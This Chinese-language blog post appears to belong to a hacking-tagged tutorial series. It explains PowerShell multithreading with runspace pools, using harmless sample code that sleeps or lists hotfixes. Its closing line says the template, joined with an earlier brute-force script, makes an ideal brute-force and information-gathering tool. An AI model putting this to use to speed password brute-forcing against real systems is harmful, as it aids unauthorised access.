那麼可以測試到這兩個腳本確實感覺上是使用了多線程,因為第二個版本使用時間只有9s左右的時間,但如果分來執行是需要15s的,就如第一個版本。那麼這裡是真的使用了多線程么?其實真實情況是多進程,最簡單的查看方式,打開任務管理器,再執行腳本你可以看到多出3個powershell.exe的進程。那麼我們可以用這個多進程么?是可以用,但是需要注意每個進程都需要跨進程交換數據,而且沒有節流的機制,所以我們還是來看看真正的多線程吧。

多線程

直接來看一段代碼

$code = { Start-Sleep -Seconds 2; "Hello" }$newPowerShell = [PowerShell]::Create().AddScript($code)$newPowerShell.Invoke()

這樣我們通過powershell的API運行一個代碼塊,就算是在一個進程內執行了代碼,不會創建新的進程。這是單線程,那麼如何多線程呢?下面的代碼就可以實現啦,那麼測試過程中推薦windows的process explorer來查看進程對應的線程,可以清晰的看到創建的線程。

# 設置線程限制為4,那麼如果一起啟動超過4線程就需要排隊等待$throttleLimit = 4# 創建線程池$SessionState = [system.management.automation.runspaces.initialsessionstate]::CreateDefault()$Pool = [runspacefactory]::CreateRunspacePool(1, $throttleLimit, $SessionState, $Host)$Pool.Open()# 代碼塊 $ScriptBlock = { param($id) Start-Sleep -Seconds 2 "Done processing ID $id" }$threads = @() # 創建40個線程 $handles = for ($x = 1; $x -le 40; $x++) { $powershell = [powershell]::Create().AddScript($ScriptBlock).AddArgument($x) $powershell.RunspacePool = $Pool $powershell.BeginInvoke() $threads += $powershell }# 獲取數據 do { $i = 0 $done = $true foreach ($handle in $handles) { if ($handle -ne $null) { if ($handle.IsCompleted) { $threads[$i].EndInvoke($handle) $threads[$i].Dispose() $handles[$i] = $null } else { $done = $false } } $i++ } if (-not $done) { Start-Sleep -Milliseconds 500 } } until ($done)

大家可以試一試下面的代碼和單獨執行get-hotfix的速度差別:

$throttleLimit = 40$SessionState = [system.management.automation.runspaces.initialsessionstate]::CreateDefault()$Pool = [runspacefactory]::CreateRunspacePool(1, $throttleLimit, $SessionState, $Host)$Pool.Open()$ScriptBlock = { get-HotFix}$threads = @()$handles = for ($x = 1; $x -le 40; $x++) { $powershell = [powershell]::Create().AddScript($ScriptBlock) $powershell.RunspacePool = $Pool $powershell.BeginInvoke() $threads += $powershell}do { $i = 0 $done = $true foreach ($handle in $handles) { if ($handle -ne $null) { if ($handle.IsCompleted) { $threads[$i].EndInvoke($handle) $threads[$i].Dispose() $handles[$i] = $null } else { $done = $false } } $i++ } if (-not $done) { Start-Sleep -Milliseconds 500 }} until ($done)

那麼以後大家需要執行的代碼就寫在腳本塊區域即可。這裡和前面的爆破腳本結合起來就是一個完美的爆破腳本和信息收集腳本。

推薦閱讀:

2017 NSA網路武器庫泄露工具總結分析
國內外有哪些漏洞信息發布平台?
繼續說我和隔壁老王 WiFi 的事 —— 續集
腳本小子自封黑客誤闖暗槍世界(上)少年的心理魔障

TAG:网络安全 |